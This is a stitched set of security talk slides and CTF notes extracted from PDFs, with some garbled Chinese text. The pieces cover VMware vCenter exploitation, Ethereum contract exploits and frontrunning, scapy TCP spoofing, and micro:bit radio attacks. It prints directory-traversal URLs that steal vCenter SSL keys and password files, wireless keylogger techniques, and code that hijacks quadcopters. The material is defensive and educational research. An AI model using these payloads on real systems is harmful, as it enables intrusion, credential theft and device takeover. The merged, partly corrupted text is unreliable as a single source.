0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x47, 0x8d, 0x65, 0x40, 0x86, 0xb4, 0x7b, 0xd5, 0xb6, 0x4b, 0x40, 0xf6, 0xd6, 0x8d, 0x61, 0xd8, 0xb2, 0xed, 0xf9, 0x5c, 0x17, 0xe1, 0xc8, 0xae, 0x73, 0x19, 0x3c, 0x50, 0x45, 0xd5, 0x7a, 0xee, 0xcc, 0x31, 0x00 ] data2 = [] key = '\x2B\x7E\x15\x16\x28\xAE\xD2\xA6\xAB\xF7\x15\x88\x09\xCF \x4F\x3C' cipher = AES.new(key) for i in range(0, 0x1a): encrypt_data = data1[4+i*16:4+16+i*16] plain = cipher.decrypt(''.join([chr(num) for num in encrypt _data])) data2.append(plain) print data2 得到ip为172.16.20.59,port为80,md5(ip:port)就得到flag 考查区块链的知识,幸亏之前听过实验室的⼩小伙伴分享,给的magic_file是⼀一个 区块链记录,具体的是每个区块80个字节,每个块中的第4-36字节是上⼀一块的 hash值,第76-80字节是nonce,但是发现这个区块链中除了了开始⼏几个区块之外 后⾯面的区块的nonce都被清除了了,程序的开始部分是在计算出每个区块的nonce 值,由于⼀一共有3400个区块,因此计算出所有的nonce需要花费很⻓长的时间,另 外最后的区块的hash值 00000000d66d589aa63025b450d32cc7679e3969d62b240b348332acc16eb58 2,通过google发现这个区块链是公开的,因此就可以知道这个区块链所有区块 的nonce,接下来可以通过查询区块的api获得之前所有区块的nonce import requests r = requests.get('https://chain.api.btc.com/v3/block/00000000d6 6d589aa63025b450d32cc7679e3969d62b240b348332acc16eb582') data = r.json() end = 0x7c2bac1d file = open('nonce', 'w') while (True): file.write(str(data['data']['nonce']) + '\n') if data['data']['nonce'] == end: print 'end' break r = requests.get('https://chain.api.btc.com/v3/block/%s' % data['data']['prev_block_hash']) data = r.json() 然后把获得的nonce写进每个区块 import pwn Re400 file1 = open('magic_file', 'rb') file2 = open('nonce') file3 = open('origin_magic_file', 'wb') data1 = file1.read() data1 = list(data1) data2 = file2.readlines() data3 = [] for line in data2: data3.append(pwn.p32(int(line[:-1]))) for i in range(0, 3400): data1[i*80+76] = data3[3399 - i][0] data1[i*80+77] = data3[3399 - i][1] data1[i*80+78] = data3[3399 - i][2] data1[i*80+79] = data3[3399 - i][3] file3.write(''.join(data1)) file3.close() 最后使⽤用⽣生成的magic_file运⾏行行程序得到flag,另外CPU需要⽀支持AVX指令集才能 正常运⾏行行程序。
pdf
scapytcp 0x00 natgettcpnat wendellh.323TCPTCPFTP scapytcpscapy 0x01 scapy https://scapy.readthedocs.io/en/latest/ demo https://akaljed.wordpress.com/2010/12/12/scapy-as-webserver/ demo #!/usr/bin/python from scapy.all import * # Interacts with a client by going through the three-way handshake. # Shuts down the connection immediately after the connection has been established. # Akaljed Dec 2010, http://www.akaljed.wordpress.com # Wait for client to connect. a=sniff(count=1,filter="tcp and host 192.168.1.1 and port 80") # some variables for later use. ValueOfPort=a[0].sport SeqNr=a[0].seq AckNr=a[0].seq+1 # Generating the IP layer: ip=IP(src="192.168.1.1", dst="192.168.1.2") # Generating TCP layer: TCP_SYNACK=TCP(sport=80, dport=ValueOfPort, flags="SA", seq=SeqNr, ack=AckNr, options=[('MSS', 1460)]) #send SYNACK to remote host AND receive ACK. ANSWER=sr1(ip/TCP_SYNACK) # Capture next TCP packets with dport 80. (contains http GET request) GEThttp = sniff(filter="tcp and port 80",count=1,prn=lambda x:x.sprintf("{IP:%IP.src%: %TCP.dport%}")) AckNr=AckNr+len(GEThttp[0].load) SeqNr=a[0].seq+1 # Print the GET request # (Sanity check: size of data should be greater than 1.) if len(GEThttp[0].load)>1: print GEThttp[0].load # Generate custom http file content. html1="HTTP/1.1 200 OK\x0d\x0aDate: Wed, 29 Sep 2010 20:19:05 GMT\x0d\x0aServer: Testserver\x0d\x0aConnection: Keep- Alive\x0d\x0aContent-Type: text/html; charset=UTF-8\x0d\x0aContent-Length: 291\x0d\x0a\x0d\x0a<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\"><html><head><title>Testserver</title></head><body bgcolor=\"black\" text=\"white\" link =\"blue\" vlink=\"purple\" alink=\"red\"><p><font face=\"Courier\" color=\"blue\">-Welcome to test server----------- --------------------</font></p></body></html>" # Generate TCP data data1=TCP(sport=80, dport=ValueOfPort, flags="PA", seq=SeqNr, ack=AckNr, options=[('MSS', 1460)]) # Construct whole network packet, send it and fetch the returning ack. ackdata1=sr1(ip/data1/html1) # Store new sequence number. SeqNr=ackdata1.ack # Generate RST-ACK packet Bye=TCP(sport=80, dport=ValueOfPort, flags="FA", seq=SeqNr, ack=AckNr, options=[('MSS', 1460)]) send(ip/Bye) 0x02 demo iptables sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST --sport 80 -j DROP iptableswebsniff80sniff iptables sniff a=sniff(count=1,filter="tcp and host 192.168.1.1 and port 80") tcpdumpa sendsr1 send srsr1 answeranswersr1 0x03 tcp payload mssmtu mtuipippayloadmtuip msstcpmtu1500mss1460 payloadNA tcp tcpgetack seq+len(payload)scapyackseq+offsetoffsetlen(payload)ack seq+offsetseq+lenpayloadtcp retransmitiontcp ack ip=IP(src="192.168.1.1", dst="192.168.1.2") SeqNr=ACK AckNr=Seq+ TCP_ACK=TCP(sport=80, dport=ValueOfPort, flags="A", seq=SeqNr, ack=AckNr, options=[('MSS', 1460)]) send(IP/TCP_ACK) ackseq https://segmentfault.com/a/1190000016375111 tcp tcptcp windowwindow window ip=IP(src="192.168.1.1", dst="192.168.1.2") SeqNr=ACK AckNr=Seq+ TCP_ACK=TCP(window=50,sport=80, dport=ValueOfPort, flags="A", seq=SeqNr, ack=AckNr, options=[('MSS', 1460)]) send(IP/TCP_ACK)
pdf
Invest in security to secure investments How to hack VMware vCenter server in 60 seconds Alexander Minozhenko #whoami • Pen-tester at Digital Security • Researcher • DCG#7812 / Zeronights • CTF • Thanks for ideas and support to Alexey Sintsov 2 What do pen-testers do? • Scanning • Fingerprinting • Banner grabbing • Play with passwords • Find vulns. • Exploit vulns. • Escalate privs. • Dig in • Find ways to make attacks • And e.t.c. 3 Find vulns. • Static – Source code review • regexp • formal methods • hand testing – Reverse Engineering • formal methods • hands… • Dynamic – Fuzzing (bin/web) + Typical bugs for class + Reverse Engineering – Hand testing • Architecture Analysis (Logic flaws) • Use vuln. Database (CVE/exploit-db/etc) 4 Pen-tester env. Tasks: • pwn target 8) • show most dang. vulns.  show real attacks and what an attacker can do Time: Not much ) Targets: Large number of targets, different types 5 Find vulns. • Static – Source code review • regexp • formal methods • hand testing – Reverse Engineering • formal methods • hands… • Dynamic – Fuzzing (bin/web) + Typical bugs for class + Reverse Engineering – Hand testing • Architecture Analysis (Logic flaws) • Use vuln. Database (CVE/exploit-db/etc) 6 • BlackBox • Not much time Target 7 VMware vCenter Server • VMware vCenter Server is solution to manage VMware vSphere • vSphere – virtualization operating system 8 Target • Vmware vCenter version 4.1 update 1 • Services: – Update Manager – vCenter Orchestrator – Chargeback – Other • Each services has web server 9 CVE-2009-1523 • Directory traversal in Jetty web server • http://target:9084/vci/download/health.xml/%3f/../../../../FILE • Discovered by Claudio Criscione • But Fixed in VMware Update Manager 4.1 update 1 :( 10 Directory traversal..again? • Directory traversal in Jetty web server • http://target:9084/vci/download/.%5C..%5C..%5C..%5C..%5C..% 5C..%5C..%5C..\FILE.EXT • Discovered by Alexey Sintsov • Metasploit module vmware_update_manager_traversal.rb by sinn3r 11 Directory traversal • What file to read? • Claudio Criscione propose to read vpxd-profiler-* - /SessionStats/SessionPool/Session/Id='06B90BCB-A0A4-4B9C-B680- FB72656A1DCB'/Username=„FakeDomain\FakeUser'/SoapSession/Id='A D45B176-63F3-4421-BBF0-FE1603E543F4'/Count/total 1 • Contains logs of SOAP requests with session ID 12 VASTO • “VASTO – collection of Metasploit modules meant to be used as a testing tool to perform penetration tests or security audit of virtualization solutions.” http://vasto.nibblesec.org/ • vmware_updatemanager_traversal.rb Jetty path traversal • vmware_session_rider.rb Local proxy to ride stolen SOAPID sessions 13 • Fixed in version 4.1 update 1, • contain ip - addresses 14 Attack • Make arp poisoning attack • Spoof ssl certificate 15 Attack • Administrators check SSL cert 16 Attack • Steal ssl key via directory traversal http://target:9084/vci/downloads/.\..\..\..\..\..\..\..\Documents and Settings\All Users\Application Data\VMware\VMware VirtualCenter\SSL\rui.key • Make arp-spoofing • Decrypt traffic with stolen ssl key • What if arp-spoofing does not work? 17 Vmware vCenter Orchestrator • Vmware vCO – software for automate configuration and management • Install by default with vCenter • Have interesting file C:\Program files\VMware\Infrastructure\Orchestrator \configuration\jetty\etc\passwd.properties 18 Vmware vCenter Orchestrator • Which contains md5 password without salt • Could easy bruteforce using rainbow tables 19 We get in 20 Plain text passwords 21 Vmware vCenter Orchestrator • vCO stored password at files: • C:\Program Files\VMware\Infrastructure\Orchestrator\app- server\server\vmo\conf\plugins\VC.xml • C:\Program Files\VMware\Infrastructure\Orchestrator\app- server\server\vmo\conf\vmo.properties 22 VC.xml <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <virtual-infrastructure-hosts> <virtual-infrastructure-host <enabled>true</enabled> <url>https://new-virtual-center-host:443/sdk</url> <administrator-username>vmware</administrator- username> <administrator- password>010506275767b74786b383a4a60be76786474032 9d5fcf324ec7fc98b1e0aaeef </administrator-password> <pattern>%u</pattern> </virtual-infrastructure-host> </virtual-infrastructure-hosts> 23 Password Encoding 006766e7964766a151e213a242665123568256c4031702d4c78454e5b575f60654b vmware 00776646771786a783922145215445b62322d1a2b5d6e196a6a712d712e24726079 vcenter • Red bytes look like length • Green bytes in ASCII range • Black bytes random 24 Algorithm password Encoding 25 Password Decoder 26 VMSA-2011-0005 • VMware vCenter Orchestrator use Struts2 version 2.11 discovered by Digital Defense, Inc • CVE-2010-1870 Struts2/XWork remote command execution discovered by Meder Kydyraliev • Fixed in 4.2 27 Example exploit 28 Attack Vectors • Directory traversal + ARP poisoning • Directory traversal + password decoding/bruteforcing • Remote code execution using Struts2 bug 29 Hardering • Update to latest version 4.2 update 4 or 5 • Filter administration service services • VMware KB 2021259. • VMware vSphere Security Hardering Guide 30 Conclusions • Password must be stored in hash with salt or encrypted • Fixed bugs not always fixed in proper way • Pen-tester will get more profit if he tries to research something • One simple bug and we can own all infrastructure 31 Thank you! [email protected] @al3xmin 32
pdf
The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum AUGUST 11, 2019 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 2 About ConsenSys Diligence and MythX • We audit smart contracts and build security tools for smart contract developers • Other who contributed to / influenced this talk: ○ Joran Honig, Nikhil Parasaram, Nathan Peercy (Mythril Core Team) ○ Sam Sun (shared his bot research) ○ Many other researchers ○ The awesome Ethereum security community ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum In this Talk •Fast symbolic execution of EVM bytecode •Exploit automation •Exploiting script kiddies •Exploiting those who try to exploit script kiddies ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 • Distributed state machine What is Ethereum? ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 5 • Small programs written in a simple, stack-based language • Immutable: Once deployed they can’t be changed • Executing instructions costs gas • Computation in a single transaction is bounded by the block gas limit • However, state can be mutated over multiple transactions EVM Smart Contracts ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 6 Symbolic Execution (1) grantSurvival == True grantSurvival == False JUMPI STOP SELFDEST RUCT CALLDATA LOAD ISZERO ISZERO CALLDATA LOAD ISZERO ISZERO JUMPI [] [0x1] [0x0] [0x1] [] [] [0x0] [0x1] [0x0] [] ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 7 Symbolic Execution (2) Symbolic Calldata JUMPI STOP SELFDEST RUCT CALLDATA LOAD ISZERO ISZERO [] [sym_calldata] [bool(sym_calldata == 0)] [bool(sym_calldata == 0) == 0)] bool(sym_calldata == 0) == 0) == True bool(sym_calldata == 0) == 0) == False ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 8 How to Kill the Cat? Symbolic Calldata JUMPI STOP SELFDEST RUCT CALLDATA LOAD ISZERO ISZERO [] [sym_calldata] [bool(sym_calldata == 0)] [bool(sym_calldata == 0) == 0)] bool(sym_calldata == 0) == 0) == True bool(sym_calldata == 0) == 0) == False grantSurvival = ((0 == 0) == 0) == True grantSurvival = (True == False) == True grantSurvival = False ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 9 Further Reading ● Introduction to Mythril and Symbolic Execution (Joran Honig) ○ https://medium.com/@joran.honig/introduction-to-mythril-classic-a nd-symbolic-execution-ef59339f259b ● Smashing Smart Contracts ○ https://github.com/b-mueller/smashing-smart-contracts ● teether: Gnawing at Ethereum to Automatically Exploit Smart Contracts (J. Krupp, C. Rossow) ○ https://www.usenix.org/system/files/conference/usenixsecurity18/s ec18-krupp.pdf ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Mythril Basic Usage $ pip install mythril $ myth analyze <solidity_file>[:contract_name] $ myth analyze -a <address> ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 1 1 Demo 1 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 1 2 Demo 1 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Mythril CLI Args $ myth -v4 analyze -t4 --execution-timeout 3600 <solidity_file> Exhaustively execute 4 transactions Terminate after 1 hour and return results Verbose output ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Demo 2 • Level 1 of the Ethernaut Challenge • To practice smart contract hacking check out these awesome pages: https://ethernaut.openzeppelin.com https://capturetheether.com https://blockchain-ctf.securityinnovation.com/ ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Demo 2 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Over-approximation vs. concrete state variables ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum State Space Explosion Problem ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Mythril Pruning Algorithms • Prune unreachable paths given concrete initial state • Prune pure functions (STOP state == initial state) • Dynamic pruning. Execute a path only if: ○ It is newly discovered ○ A state variable that was modified in the previous transaction is read somewhere along the path ○ Somewhere along this path, a state variable is written to that we know is being read elsewhere teEther uses a similar method: https://www.usenix.org/node/217465 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Pruning Effectiveness Fully execute 63 samples from the smart contract weakness registry https://smartcontractsecurity.github.io/SWC-registry/ Base Prune Pure Funcs Dynamic Pruning Speedup 1 TX 297s N/A N/A N/A 2 TX 2,346s 1,919s 1,152s 103.5% 3 TX 9,943s 6,072s 2,242s 343.49% 4 TX too long 13,312s 7,440s > 400% ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Other Optimizations (WIP) • Parallelisation • State merging ○ Merge path constraints and world state by disjunction (c1 v c2) • Function summaries ○ Store constraints imposed on state when executing paths (“summary”) ○ In subsequent runs, apply summary via conjunction instead of re-executing the same code • FastSMT • (...) ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Scrooge McEtherface (1) • Transform Mythril issues into runnable exploits ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Scrooge McEtherface (2) Payload wrapper ○ Hides the transactions from frontrunning bots ○ Allows to revert everything if the attack fails ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Scrooge McEtherface DEMO! https://github.com/b-mueller/scrooge-mcetherface ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum Early retirement unlocked? ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 2 7 • Security Engineer at ConsenSys Diligence • ~2 years in the blockchain space • Developer with a hacker’s heart • @CleanUnicorn Daniel Luca ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 2 8 • Karl • Scanning the blockchain • Finding vulnerable contracts • Validate found exploits • Theo • Transaction pool • Frontrunning transactions Main Points ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 2 9 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 3 0 Karl ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 3 1 Scanning the Blockchain • Understand Ethereum • Python • JSON RPC • Lots of computational resources • Lots of time ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 3 2 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 3 3 Get Block By Number ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 3 4 Get Transaction Receipt ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 3 5 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 3 6 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 3 7 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 3 8 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 3 9 #100 #101 #102 Contract #101 #102 Real Sandbox ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 0 • Needs to have a payable method • Selfdestruct to it • Mine as the coinbase Add Ether to a Contract ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 1 Theo ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 2 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 3 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 4 Mempool Mempool Mempool Mempool Mempool Mempool Mempool Transaction #1A2B Transaction #1A2B Transaction #1A2B Transaction #1A2B ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 5 ● gasPrice * gas = Transaction fee ● Sorted descendingly by gasPrice Transaction Ordering ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 6 ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 7 Frontrunning Demo ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 8 Does This Work in the Wild? ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 4 9 Does this work in the Wild? wild? ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 5 0 The Victim’s Transaction ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 5 1 Theo’s Transaction ConsenSys Diligence | The Ether Wars: Exploits, counter-exploits and honeypots on Ethereum 5 2 • Proxy contract • Miner adds the transaction without being in the mem pool first • Transactions are more specific (signing a key with my account) • Ethereum client decides to be unresponsive When does it fail? Thank You! Q&A
pdf
411: A Framework for Managing Security Alerts Kai Zhong @sixhundredns [email protected] Kenneth Lee @kennysan [email protected] Kai Zhong @sixhundredns [email protected] Kenneth Lee @kennysan [email protected] Get 411 here: https://github.com/kiwiz/411/ Slides: https://speakerdeck.com/kennysan/411-a- framework-for-managing-security-alerts
pdf
WEAPONIZING THE BBC MICRO:BIT DAMIEN " " CAUQUIL VIRTUALABS DEF CON 25 - JULY 28, 2017 /ME Head of R&D, Econocom Digital Security Senior security researcher HW/SW Reverse-engineer AGENDA BBC Micro:Bit Features & Capabilities Hacking ideas Hacking into the Micro:Bit Turning the Micro:Bit into a sniffer Hacking various 2.4GHz protocols Demos Wireless keylogger Quadcopter hijacking Radiobit BBC MICRO:BIT FEATURES 5x5 LED matrix 2 buttons Custom expansion connector Wireless capabilities MicroPython ! $15 HARDWARE SPECIFICATIONS nRF51822: 2.4 GHz GFSK transceiver 256 KB Flash 16 KB RAM 6 ADCs SPI bus I2C bus 20 GPIO 3V powered (2 x AAA) EASY TO PROGRAM READ EVALUATE PRINT LOOP $ minicom -D /dev/ttyACM0 -b 115200 MicroPython v1.7-9-gbe020eb on 2016-04-18; micro:bit with nRF51822 Type "help()" for more information. >>> help() Welcome to MicroPython on the micro:bit! Try these commands: display.scroll('Hello') running_time() sleep(1000) button_a.is_pressed() [...] WIRELESS CAPABILITIES Legacy ShockBurst Protocol (SB) Enhanced ShockBurst Protocol (ESB) Bluetooth Low Energy (BLE) ENHANCED SHOCKBURST PROTOCOL Designed by Nordic Semiconductor Used by various wireless mice and keyboards Attacked by Marc Newlin during DEF CON 24 BASTILLE VS. KEYBOARDS/MICE MouseJack framework Great tool to sniff/attack keyboards and mice Open source Written in Python http://www.mousejack.com/ GOODSPEED VS. NRF24L01+ Travis Goodspeed managed to turn it into a sniffer source: Travis' blog SAMY KAMKAR'S KEYSWEEPER http://samy.pl/keysweeper/ DSMX HIJACKING TOOL source: The Register (extract from the FireFly example code) OFFENSIVE PYTHON ? # Event loop. while True: if button_a.was_pressed(): radio.send('flash') # a-ha incoming = radio.receive() if incoming == 'flash': sleep(random.randint(50, 350)) display.show(flash, delay=100, wait=False) if random.randint(0, 9) == 0: sleep(500)s radio.send('flash') # a-ha HACKING INTO THE MICRO:BIT PROMISCUITY IS THE NRF51822'S DUTY (TOO) (or how I ported Goodspeed's hack to nRF51822) GOODSPEED'S NRF24L01+ HACK Address is in the payload, along with data and CRC We get only (32 - 2 - 3) = 27 bytes max. of data Payload longer than 25 bytes cannot be sniffed ! NRF24L01+ < NRF51822 nRF24L01 nRF51822 Payload Endianness Big Little/Big ESB max. payload size 32 bytes 254 bytes ! ESB packet control field auto S0/S1 fields SETTING UP NRF_RADIO /* Address: [BASE][PREFIX] */ NRF_RADIO->BASE0 = 0x00000000; NRF_RADIO->PREFIX0 = 0x55; /* LFLEN=0 bits, S0LEN=0, S1LEN=0 --> No DPL */ NRF_RADIO->PCNF0 = 0x00000000; /* STATLEN=40, MAXLEN=40, BALEN=1, ENDIAN=1 (big), WHITEEN=0 * BALEN=1 -> Adress size = 2 ! */ NRF_RADIO->PCNF1 = 0x01012828; (source code derived from ) LOOKING FOR VALID PACKETS We look for a valid PCF field and corresponding CRC If it is a match, we got a packet ! /* Read payload length from PCF. */ payload_length = payload[5] >> 2; /* Read CRC from payload. */ crc_given = (payload[6 + payload_length] << 9) | ((payload[7 + payload_len crc_given = (crc_given << 8) | (crc_given >> 8); if(payload[8 + payload_length] & 0x80) crc_given |= 0x100; crc = compute_crc(payload, payload_length); crc = (crc << 8) | (crc >> 8); /* CRC match ? */ if(crc == crc_given) { /* Good boy ! */ } nrf-research-firmware QUICK ESB SNIFFER import radio radio.on() radio.config(data_rate=radio.RATE_2MBIT, channel=74) radio.sniff_on() while True: pkt = radio.sniff() if pkt is not None: addr = ':'.join(['%02x'%c for c in pkt[:5]]) payload = ' '.join(['%02x'%c for c in pkt[5:]]) print('%s > %s' % (addr, payload)) SNIFFING DEMO 0:00 / 0:49 MOUSEJACK-LIKE ESB SNIFFER Able to dump 32-byte payloads ✌ Supports ESB and Legacy SB Follow mode Raw sniffing MOUSEJACK-LIKE ESB SNIFFER usage: esb-sniffer.py [-h] [--device DEVICE] [--target TARGET] [--channel CHANNEL] [--raw] [--data-rate] Micro:bit Enhanced ShockBurst Sniffer optional arguments: -h, --help show this help message and exit --device DEVICE, -d DEVICE Serial device to use --target TARGET, -t TARGET Target MAC --channel CHANNEL, -c CHANNEL Channel to sniff on --data-rate RATE, -b RATE 0: 1MBit | 1: 2MBit | 2: 250KBit --raw, -r Sniff raw packets (SB or ESB) MICRO:BIT SNIFFER DEMO 0:00 / 1:36 ATTACKING OTHER 2.4GHZ PROTOCOLS Our Micro:Bit can sniff, but inject too ! This technique is not limited to Nordic's ESB/SB Any 2.4GHz GFSK-based protocol with compatible data rate A world of possibilities ! ADDING XN297 SUPPORT XN297 TRANSCEIVER Uncommon 2.4GHz GFSK transceiver Found in Cheerson CX-10 Compatible with our nRF51822 Data whitening algorithm COMMUNICATING WITH THE XN297 Compatible with Legacy ShockBurst mode, 2Mbit/s Uses a custom preamble: 71 0F 55 Use this preamble as RX/TX address \o/ (Teasing: more to come in next chapter) BLUETOOTH SMART SUPPORT nRF51822 IS Bluetooth Smart capable ! May be used to sniff/send advertisements Theoritically able to follow a BLE connection Still, a lot of work to get a working BLE sniffer SNIFFING ADVERTISEMENTS radio.on() radio.config(channel=38) radio.ble() devices = [] while True: pkt = radio.receive_bytes() if pkt is not None: if pkt[8:14] not in devices: devices.append(pkt[8:14]) addr = '%02x:%02x:%02x:%02x:%02x:%02x' % ( pkt[13], pkt[12], pkt[11], pkt[10], pkt[9], pkt[8] ) advinfo = ' '.join(['%02x'%c for c in pkt[14:]]) print('+ %s > %s' % (addr, advinfo)) SPOOFING ADVERTISEMENTS adv_pkt = bytes([ 0x42, # ADV_NONCONN_IND 0x42, 0xd8, 0x2a, 0x41, 0x32, 0x65, # BD ADDR (AdvA) 0x02, 0x01, 0x1a, # Flags PDU # Complete name: "DEFCON25" 0x09, 0x09, 0x44, 0x45, 0x46, 0x43, 0x4f, 0x4e, 0x32, 0x35 ]) radio.on() radio.ble() while True: for i in range(37,40): radio.config(channel=i) radio.send(adv_pkt) sleep(50) SNIFFING BLE CONNECTION REQUESTS radio.on() radio.config(channel=37) radio.ble() while True: p = radio.receive() if p is not None and p[5]&0x0F == 5 and p[6]==0x22: print(' '.join(['%02x'%c for c in p])) inita = ':'.join(['%02x'%c for c in p[8:14]]) adva = ':'.join(['%02x'%c for c in payload[14:20]]) aa = p[20]<<24 | p[21]<<16 | p[22]<<8 |p[23] crcinit = (p[24]<<16)|(p[25]<<8)|(p[27]) hop = (p[41]&0xF8)>>3 print('[%08x] %s -> %s (CRCInit: %06x, hop: %d)' % ( aa, inita, adva, crcinit, hop )) DEMOS WIRELESS KEYLOGGER (or how to get passwords, PIN codes and others from a MS wireless keyboard) MY WIRELESS KEYLOGGER Wireless keylogger for Microso wireless keyboards Battery powered (2 x AAA) Small form factor (easy to hide) CREATING THE SOFTWARE It uses the UART interface to send the recorded keystrokes Micro:Bit provides a tiny filesystem to store data (~3kb) We can use our modded firmware to acquire and sniff a keyboard with open('keys.txt', 'wb') as f: f.write('HELLOWORLD') PLANTING OUR KEYLOGGER 0:00 / 0:11 VICTIM USES HIS KEYBOARD 0:00 / 0:22 EXTRACTING KEYSTROKES 0:00 / 0:31 HIJACKING CHEERSON CX-10 QUADCOPTERS DRONEDUEL AT TOORCAMP2016 CX-10 WIRELESS PROTOCOL CX-10 WIRELESS PROTOCOL CX-10 CHANNEL HOPPING Select 1 channel in 4 different frequency ranges Channels depend on TXID 4-channel hopping ! 6ms on each channel '''channel hopping algorithm''' channels = [ (txid[0]&0x0f)+0x3, (txid[0]>>4)+0x16, (txid[1]&0x0f)+0x2d, (txid[1]>>4)+0x40 ] LET'S HIJACK ! Sniff a valid packet from channels 3 to 18 Once a valid packet is found, extract TXID and VID Check current channel based on TXID Sync and send quicker than the original remote ! SETTING UP THE RADIO radio.on() radio.cx() radio.config(channel=2) FINDING A VALID PACKET pkt = radio.receive() if pkt is not None: # check preamble if pkt[0]==0x55: # check if current channel matches txid txid = list(pkt[1:5]) channels = [ (txid[0]&0x0f)+0x3, (txid[0]>>4)+0x16, (txid[1]&0x0f)+0x2d, (txid[1]>>4)+0x40 ] if channel in channels: # get vid found = True vid = list(pkt[5:9]) SYNC # reinit radio counter = 0 radio.config(channel=channels[counter]) radio.cx() # sync pkt = None while pkt is None: pkt = radio.receive() next_at = running_time()+6 SEND PACKET # a: aileron, e:elevator, t:throttle, r:rudder p = bytes([0x55] + txid + vid + [ a&0xff, a>>8, e&0xff, e>>8, t&0xff, t>>8, r&0xff, r>>8, 0x00, 0x00 ]) radio.send(p) BUT WAIT, WE NEED A REMOTE CONTROLLER ! A CLASSIC RC ? A USB COMPATIBLE GAMEPAD ? USING A MICRO:BIT AS A REMOTE CONTROLLER REUSING A CX-10 REMOTE CONTROLLER CONNECTING OUR MICRO:BIT READING STICKS VALUES t = pin0.read_analog() t = int(2031 * (t/1023)) + 0x386 r = pin4.read_analog() r = int(3000 * (r/1034)) e = pin10.read_analog() e = int(3000 * (e/1023)) a = pin1.read_analog() a = int(3000 * (a/1023)) LIVE DEMO SNIFFING 